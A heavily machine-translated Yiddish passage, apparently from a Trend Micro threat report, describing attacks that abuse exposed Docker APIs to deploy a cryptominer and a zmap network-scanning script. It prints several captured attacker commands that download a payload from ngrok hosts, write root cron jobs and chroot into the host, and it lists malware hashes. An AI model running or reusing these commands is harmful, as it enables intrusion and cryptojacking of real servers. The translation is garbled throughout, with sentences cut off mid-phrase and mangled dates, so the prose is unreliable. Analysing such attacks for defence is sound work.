ืืืจ ืึทื ืึทืืืืื ืื ืืึทืื ืืขืืืืื ืืื ืืึธื ืืง ืคึผืึธื ืงืึทื ืืืื ืขืจื, ืืืึธืก ืืืจ ืืืฉืืคื ืฆื ืฉืคึผืืจ ืืจืขืฅ. ืืื ืืืจ ืืืืขืงืืึทื ืืึทืืืืืืง ืืขืืืงืืื ืคืื ืึทื ืืืึธื ืืื ืึธืืขืจ ืึทื ืึธืืขืจืืืื ืงืจืืคึผืืึธืงืืจืจืขื ืกื ืืืื ืขืจื ืืืคึผืืืื ืืื ืืฉืืืืง ืงืึทื ืืืื ืขืจื ื ืืฆื ืึท ืงืื-ืืจืืืก ืืืื ืืืืฃ ืืึธืงืงืขืจ ืืื. ืืขืจ ืืืื ืืื ืืขื ืืฆื ืืื ืึท ืืืื ืคืื ืึท ืืื ืกื ืืืึธืก ืืืืืืืขืจื ืืืืืข ืงืจืืคึผืืึธืงืืจืจืขื ืกื ืืืื ืขืจื.
ืึทืืืืืืึธื ืึทืืื, ืืืืื ืคึฟืึทืจ ืืจืืขืื ืืื ื ืขืืืืึธืจืงืก ืืขื ืขื ืืื ืกืืึทืืืจื ืฆื ืืืจืื ืขืืขื ืขืคืขื ืขื ืืจืืืืงืข ืงืึทื ืืืื ืขืจื ืืื ืึทืคึผืืึทืงืืืฉืึทื ื.
ืืืจ ืืึธืื ืืื ืืืขืจ ืืึทื ืืคึผืึทืฅ ืืื ืืื, ืืึธืก ืืื, ืืื ืคืขืืืงืืึทื ืกืขืืืื ืืก, ืึธื ืงืืื ืืืืขืจืืืื ืืืืืขื ืึธืืขืจ ืกืึทืืกืึทืงืืืึทื ื ืื ืกืืึทืืืจืื ื ืคืื ื ืึธื ืืืืืืืืืจื. ืืืืข ืืึธื ืึทื Docker ืืื ืจืขืงืึทืืึทื ืืืืฉืึทื ื ืคึฟืึทืจ ืขืจืฉื ืกืขืืึทืคึผ ืฆื ืืืกืืืืื ืขืจืจืึธืจืก ืืื ืคึผืฉืื ืืืึทืื ืขืจืึทืืืืืืื. ืึธืืขืจ ืื ืืึทื ืืคึผืึธืฅ ืืขื ืืฆื ืืขื ืขื ืงืึทื ืืืื ืขืจื, ืืืืืื ื ืฆื ืืขืืขืงื ืื ืคืืื ืึทืืืขื ืืืึท ืื ืงืึทื ืืืื ืขืจื ืคึผืืึทืืคืึธืจืืข, ื ืืฉื ืื ืึทืคึผืืึทืงืืืฉืึทื ื ืื ืื ืงืึทื ืืืื ืขืจื.
ืื ืืืืขืงืืึทื ืืืืืข ืืขืืืงืืื ืืื ืืืื ื ืึธืืืึทืืึทื ืืืืึทื ืขืก ืืื ื ืืฉื ืืึทืจืคื ืืืึทืื ืขืจืึทืืืืืืื ืืื ืืื ืืืื ืคืจืืึท ืคืื ืื ืืึธืงืงืขืจ ืืืขืจืกืืข. ืืขืคึฟืื ืขื ืึทื ืื ืงืขืจืขืงืืื ืงืึทื ืคืืืืขืจื, ืืื ืืขืจืืืขืจ ืึธืคึฟื, ืงืึทื ืืืื ืขืจ ืืืื ืืื ืึทืืข ืืืึธืก ืึทืืึทืงืขืจื ืืึทืจืคึฟื ืฆื ืึธื ืฉืืขืงื ืคืืืข ืึธืคึฟื ืกืขืจืืืขืจืก.
ืื ืึทื ืงืืึธืืื Docker API ืึทืืึทืื ืืขืจ ืืึทื ืืฆืขืจ ืฆื ืืืจืืคืืจื ืึท ืืจืืื ืงืืื ืคืื
ืืืืฃ ืื ืืื ืงืก ืืื ืื ืืึทืืืืึทืจืข ืขืงืกืคึผืจืขืก ืืืคึฟื. ืืืืฃ ืื ืจืขืื ืืื ืื ืึทืืึทืงืขืจ ืก ืกืืืืืืข, ืืืึธืก ืึทืืึทืื ืคึฟืึทืจ ืืืืึทื ืจืึธืืืื ื ืคืื ืืืืืขืจ.
ืคืึทืจืฉืคึผืจืืืืื ื ืืืจื ืืึทื ื ืคืื 3762 ืขืคืขื ืขื ืืึธืงืงืขืจ ืึทืคึผืืก. ืืึทืืืจื ืืืืฃ ืฉืึธืืึทื ืืืื ืืืืืื 12.02.2019/XNUMX/XNUMX
ืืึทืคืึทืื ืงืืื ืืื ืคึผืืืืึธืื ืึธืคึผืฆืืขืก
ืืืืืข ืืขืืืงืืื ืืื ืืขืืืขื ืืืืขืงืืึทื ื ืื ืืืืื ืืื ืื ืืืืฃ ืคืื ืืึทื ืืคึผืึธืฅ. ืืึทืื ืคึฟืื Shodan ืืืืึทืื ืึทื ืื ื ืืืขืจ ืคืื ืืงืกืคึผืึธืืื ืืึธืงืงืขืจ ืึทืคึผืืก (ืืขื ืจืืข ืืจืึทืคืืง) ืืื ืืขืืืืงืกื ืืื ื ืืืจ ืื ืืืขืกืืึทืืืืืึทื ืึท ืืืกืงืึทื ืคืืืืขืจื ืงืึทื ืืืื ืขืจ ืืขื ืืฆื ืืื ืึท ืืจืืง ืฆื ืฆืขืืืืงืืขื ืืึธื ืขืจืึธ ืงืจืืคึผืืึธืงืืจืจืขื ืกื ืืืื ืื ื ืืืืืืืืืจื. ืืื ืืงืืืืขืจ ืืขืฆืืข ืืึธืจ (2018, ืงืจืึทื ื ืืึทืื
ืึทื ืืืจืืงืืง ืคืื ืื ืืึธื ืืงืคึผืึธื ืืึธืืก ืืขืืืืื ืึทื ืื ื ืืฆื ืคืื ืงืึทื ืืืื ืขืจ ืืืื ืืื ืืืื ืคืืจืืื ืื ืืื ืื ื ืืฆื ืคืื
Tty: false
Command: โ-c curl โretry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d โhxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283โ;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dโ >/tmp9bedce/etc/crontab;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dโ >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c โcron || crondโโ,
Entrypoint: โ/bin/shโ
Tty: false,
Command: โ-c curl โretry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d โhxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283โ;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dโ >/tmp570547/etc/crontab;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dโ >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c โcron || crondโโ,
Entrypoint: โ/bin/shโ
Tty: false,
Command: โ-c curl โretry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed โhxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeโ;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedโ >/tmp326c80/etc/crontab;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedโ >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c โcron || crondโโ,
Entrypoint: โ/bin/shโ,
Tty: false,
Cmd: โ-c curl โretry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed โhxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeโ;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedโ >/tmp8b9b5b/etc/crontab;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedโ >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c โcron || crondโโ,
Entrypoint: โ/bin/shโ
ืืื ืืืจ ืงืขื ืขื ืืขื, ืื ืืคึผืืึธืึทืืขื ืืขืงืขืก ืืขื ืขื ืืึทืื ืืึธืืืื ืคึฟืื ืงืขืกืืืืขืจ ืืฉืึทื ืืื ื URL ืก. ืื URL ืก ืืึธืื ืึท ืงืืจืฅ ืขืงืกืคึผืขืจืืืฉืึทื ืืึธื, ืึทืืื ืคึผืืืืึธืืื ืงืขื ืขื ื ืื ืืืื ืืึทืื ืืึธืืืื ื ืึธื ืื ืขืงืกืคึผืขืจืืืฉืึทื ืืึธื.
ืขืก ืืขื ืขื ืฆืืืื ืคึผืืืืึธืื ืึธืคึผืฆืืขืก. ืืขืจ ืขืจืฉืืขืจ ืืื ืึท ืงืึทืืคึผืืืื ืขืืฃ ืืืื ืขืจ ืคึฟืึทืจ ืืื ืืงืก (ืืืคืืื ื ืืื Coinminer.SH.MALXMR.ATNO) ืืืึธืก ืงืึทื ืขืงืฅ ืฆื ืื ืืืื ืื ื ืืขืงื. ืื ืจืืข ืืื ืึท ืฉืจืืคื (TrojanSpy.SH.ZNETMAP.A) ืืืืืื ื ืฆื ืืึทืงืืืขื ืืืืขืจ ื ืขืฅ ืืืฉืืจืื ืืขื ืืฆื ืฆื ืืืขืจืงืืงื ื ืขืฅ ืจืืื ืืืฉืึทื ืืื ืืขืจื ืึธื ืืืื ืคึฟืึทืจ ื ืืึทืข ืืึทืจืืึทืฅ.
ืื ืืจืึทืคึผืขืจ ืฉืจืืคื ืฉืืขืื ืฆืืืื ืืืขืจืืึทืืึทืื, ืืืึธืก ืืขื ืขื ืืขืืึธืื ืืขื ืืฆื ืฆื ืฆืขืืืืงืืขื ืื ืงืจืืคึผืืึธืงืืจืจืขื ืกื ืืืื ืขืจ. ืื ืืึธืกื ืืืขืจืืึทืืึทื ืึผืืื ืื URL ืืื ืื ืืืืืข ืืขืงืขืก ืืขื ืขื ืืืื, ืืื ืื RIP ืืืึทืืขืืืืืง ืืื ืืขืจ ืืขืงืข ื ืึธืืขื (ืืื ืคืึทืงื, ืื ืืึทืฉ) ืคืื ืื ืืืื ืขืจ ืฆื ืืืื ืืืคึผืืืื. ืืขืจ ืืึธืกื ืืืึทืืขืืืืืง ืขื ืืขืจืื ืืขื ืืขืืขืจ ืืึธื ืื ืืึทืฉ ืืืึทืืขืืืืืง ืขื ืืขืจืื ืืขื. ืืขืจ ืฉืจืืคื ืืืื ืคืจืืืื ืฆื ืงืึธื ืืจืึธืืืจื ืึทื ืงืืื ืื ืืขืจืข ืงืจืืคึผืืึธืงืืจืจืขื ืกื ืืืื ืขืจื ืืขื ืขื ืคืืืกื ืืืง ืืืืฃ ืื ืงืขืื ืกืขืจืืืขืจ.
ืืืืฉืคืืื ืคืื ืืึธืกื ืืื ืจืืคึผ ืืืขืจืืึทืืึทืื, ืืื ืืขืืื ื ืืื ืึท ืงืึธื ืกื ืืคึผืึทื ืืขื ืืฆื ืฆื ืงืึธื ืืจืึธืืืจื ืึทื ืงืืื ืื ืืขืจืข ืืืื ืขืจื ืืืืคื
ืืืืืขืจ ืกืืึทืจืืื ื ืื ืืืื ืขืจ, ืขืก ืืื ืจืื ืืืื ืฆื ื ืืื ืงืก. ืื ืืขืจืข ืืืขืจืกืืขืก ืคืื ืืขื ืฉืจืืคื ืจืขื ืึทืืข ืื ืืืื ืขืจ ืฆื ืื ืืขืจืข ืืึทืืืฉืืืึทืืึทื ืืึทืืื ืื ืืก ืืืึธืก ืงืขื ืืืื ืคืึธืจืฉืืขืื ืืื ืืื ืืงืก ืื ืืืืืจืึทื ืืึทื ืฅ. ืืึธืก ืืื ืืืืฉืึทืืืึทืื ืืขื ืื ืฆื ืืืืคึผืึทืก ืืฉืขืงืก ืงืขืื ืื ืจืฉืืื ืคืื ืคืืืกื ืืืง ืคึผืจืึทืกืขืกืึทื.
ืืขืจ ืืืื ืฉืจืืคื ืืืื ืืื ืคึฟืขืึดืงืืืื. ืขืก ืึทืจืืขื ืืื ืืขืจ ืืขืืืืงืขืจ URL ืืื ืกื ืฆื ืฆืขืืืืงืืขื ืื ื ืืืืืง ืืืฉืืจืื. ืฆืืืืฉื ืืื ืืื ืื zmap ืืืื ืขืจื, ืืืึธืก ืืื ืืขื ืืฆื ืฆื ืืืขืจืงืืงื ื ืขืืืืึธืจืงืก ืืื ืืึทืงืืืขื ืึท ืจืฉืืื ืคืื ืขืคืขื ืขื ืคึผืึธืจืฅ. ืืขืจ ืฉืจืืคื ืืืื ืืึธืืื ืื ืื ืืขืจ ืืืื ืขืจื ืืืึธืก ืืื ืืขื ืืฆื ืฆื ืื ืืขืจืึทืงื ืืื ืื ืืขืคืื ืขื ืืึทืืื ืื ืืก ืืื ืืึทืงืืืขื ืืึทื ืขืจื ืคืื ืืื ืฆื ืืึทืฉืืืกื ื ืึธื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืื ืืขืคึฟืื ืขื ืืื ืกื (ืืืฉื, ืืืึทื ืืืขืจืกืืข).
ืืขืจ ืฉืจืืคื ืืืื ืคึผืจืืืืืขืจืืึทื ื ืขืืืขืืข ื ืขืฅ ืจืืื ืืืฉืึทื ืฆื ืืืขืจืงืืงื, ืึธืืขืจ ืืึธืก ืืขืคึผืขื ืืก ืืืืฃ ืื ืืืขืจืกืืข ืคืื โโโโืื ืฉืจืืคื. ืขืก ืืืื ืฉืืขืื ืื ืฆืื ืคึผืึธืจืฅ ืคึฟืื ืื ืกืขืจืืืืกืขืก - ืืื ืืขื ืคืึทื, ืืึธืงืงืขืจ - ืืืืืขืจ ืืืจ ืืืืคื ืื ืืืขืจืงืืงื.
ืืื ืืึทืื ืืื ืืขืืืขื ืืึทืจืืึทืฅ ืืขื ืขื ืืขืคึฟืื ืขื, ืืึทื ืขืจื ืืขื ืขื ืืืืืึธืืึทืืืฉ ืึทืืืขืงืืขื ืืืขื ืคืื ืืื. ืืขืจ ืฉืจืืคื ืืืื ืคืืืืขืจืก ืืึทืจืืึทืฅ ืืืคึผืขื ืืื ื ืืืืฃ ืื ืกืขืจืืืืกืขืก, ืึทืคึผืืึทืงืืืฉืึทื ื, ืงืึทืืคึผืึธืื ืึทื ืฅ ืึธืืขืจ ืคึผืืึทืืคืึธืจืืก ืคืื ืืื ืืขืจืขืก: Redis, Jenkins, Drupal, MODX,
ืืขืจ ืืึทืคืึทืื ืืืขืงืืึธืจ ืืื ืึท ืืึธืงืขืจ ืืืื, ืืื ืืืจ ืงืขื ืขื ืืขื ืืื ืื ืืืืึทืืขืจ ืฆืืืื ืงืึธื.
ืืื ืื ืฉืคึผืืฅ ืืื ืจืื ืืืืื ื ืฆื ืึท ืืึทืืืฉืืืึทืืึทื ืืื ืกื, ืืื ืืื ืื ืื ืึธ ืืื ืืื zmap ืืื ืืขื ืืฆื ืฆื ืืืขืจืงืืงื ื ืขืืืืึธืจืงืก
ืืื ืื ืฉืคึผืืฅ ืืขื ืขื ืคึผืจืขืืขืคืื ืขื ื ืขืฅ ืจืืื ืืืฉืึทื, ืืื ืื ืื ืึธ ืืขื ืขื ืกืคึผืขืฆืืคืืฉ ืคึผืึธืจืฅ ืคึฟืึทืจ ืืืื ืคึฟืึทืจ ืืึทืืื ืื ืืก, ืึทืจืืึทื ืืขืจืขืื ื ืืึธืงืขืจ
ืื ืกืงืจืขืขื ืฉืึธื ืืืืืื ืึทื ืื ืึทืืคึผืืื-ืงืขืจื ืืืื ืืื ืืึทืื ืืึธืืืื ืืขืจ ืืื 10 ืืืืืึธื ืืื
ืืึทืืืจื ืืืืฃ ืึทืืคึผืืื ืืื ืืงืก ืืื ืงืขืจื, ืึท ืืืื-ืขืคืขืงืืืื CLI ืืขืฆืืึทื ืคึฟืึทืจ ืืจืึทื ืกืคืขืจืื ื ืืขืงืขืก ืืืืขืจ ืคืึทืจืฉืืื ืคึผืจืึธืืึธืงืึธืืก, ืืืจ ืงืขื ืขื ืืืืขื
ืขืก ืืื ืืืืืืืง ืฆื ืืึธื ืึทื ืืึธืก ืืืื (ืึทืืคึผืืื-ืืจืืึทืื) ืืื ืืื ื ืืฉื ืืืืืข, ืึธืืขืจ ืืื ืืืจ ืงืขื ืขื ืืขื ืืืืื, ืขืก ืงืขื ืขื ืืืื ืืขืืืืื ื ืฆื ืืืจืืคืืจื ืืืืืข ืคืึทื ืืงืฉืึทื ื. ืขื ืืขืืข ืืึธืงืงืขืจ ืืืืืขืจ ืงืขื ืขื ืืืื ืืืื ืืขืืืืื ื ืฆื ืืืจืืคืืจื ืืืืืข ืึทืงืืืืืืืขืื. ืืืจ ืงืึธื ืืึทืงืืขื ืืึธืงืขืจ ืืื ืืขืืจืืขื ืืื ืืื ืืืืฃ ืืขื ืึทืจืืืกืืขืื.
ืจืขืงืึทืืึทื ืืืืฉืึทื ื
ืืขืจ ืืื ืฆืืืขื ื ืืืกืงืึทืกื ืืื ืืขื ืึทืจืืืงื ืืืืืืืฅ ืื ื ืืื ืฆื ื ืขืืขื ืืืืขืจืงืืึทื ืืื ืืฉืืื ืคืื ืื ืึธื ืืืื, ืึทืจืืึทื ืืขืจืขืื ื ืื ืคืืืืขื ืืข ืจืขืงืึทืืึทื ืืืืฉืึทื ื:
- ืคึฟืึทืจ ืกืืกืืขื ืึทืืืื ืืกืืจืึทืืึธืจืก ืืื ืืขืืืขืืึธืคึผืขืจืก: ืงืึธื ืืจืึธืืืจื ืฉืืขื ืืืง ืืืื ืึทืคึผื ืกืขืืืื ืืก ืฆื ืืึทืื ืืืืขืจ ืึทื ืึทืืฅ ืืื ืงืึทื ืคืืืืขืจื ืืืืื ืฆื ืึธื ื ืขืืขื ืจืืงืืืขืก ืคืื ืึท ืกืคึผืขืฆืืคืืฉ ืกืขืจืืืขืจ ืึธืืขืจ ืื ืขืจืืขื ื ืขืฅ.
- ื ืึธืืืืื ืืขื ืคึผืจืื ืฆืืคึผ ืคืื ืืื ืืกืืขืจ ืจืขืื: ืขื ืฉืืจ ืึทื ืงืึทื ืืืื ืขืจ ืืืืืขืจ ืืขื ืขื ืืขืืชืืขื ืืื ืืืขืจืึทืคืืื, ืืึทืืจืขื ืขืฆื ืึทืงืกืขืก ืฆื ืงืจืืืืฉ ืงืึทืืคึผืึธืื ืึทื ืฅ (ืงืึทืืขืจ ืงืึทืืขืจ ืืื ืกื) ืืื ืืืืื ืขื ืงืจืืคึผืฉืึทื ืฆื ื ืขืฅ ืงืึทื ืขืงืฉืึทื ื.
- ืืื
ืจืขืงืึทืืึทื ืืืืฉืึทื ื ืืื ืืขืื ืืืืขืจืืืื ืืขืงืึทื ืืืึทืื, ืืืฉื.ืคืื ืืึธืงืงืขืจ ืืื ืืขืืืื ืืืืืืืขืจืืืึทื ืคึฟืขืึดืงืืืื . - ื ืืฆื ืึธืืึทืืืืืื ืกืงืึทื ืื ื ืคืื ืจืื ืืืืข ืืื ืืืืืขืจ ืฆื ืืึทืงืืืขื ื ืึธื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืื ืคึผืจืึทืกืขืกืึทื ืคืืืกื ืืืง ืืื ืืขื ืงืึทื ืืืื ืขืจ (ืืืฉื, ืฆื ืืขืืขืงื ืกืคึผืึธืึธืคืื ื ืึธืืขืจ ืืืื ืคึฟืึทืจ ืืืึทืื ืขืจืึทืืืืืืื). ืึทืคึผืคึผืืืงืึทืืืึธื ืงืึธื ืืจืึธื ืืื ืึธืจื ืืืขืืงืืึทื ืืึธื ืืืึธืจืื ื ืืขืืคึผืก ืฆื ืฉืคึผืืจ ืึทืื ืึธืจืืึทื ืขื ืืขืจืื ืืขื ืฆื ืกืขืจืืืขืจืก, ืืขืงืขืก ืืื ืกืืกืืขื ืืขืืืื.
Trendmicro ืืขืืคึผืก DevOps ืืืื ืืืืขื ืกืืงืืืจืื, ืจืึธืืื ืืืืก ืืขืฉืืืื ื ืืื ืงืึทืืขืจ ืขืจืืขืฅ. ืืจืขื ื ืืืงืจืึธ
ืืืืื ืืขืจ ืคืื ืงืึธืืคึผืจืึธืืืก
ืคึฟืึทืจืืื ืืขื ืข ืืึทืฉืขืก:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
ืืืืฃ
ืืงืืจ: www.habr.com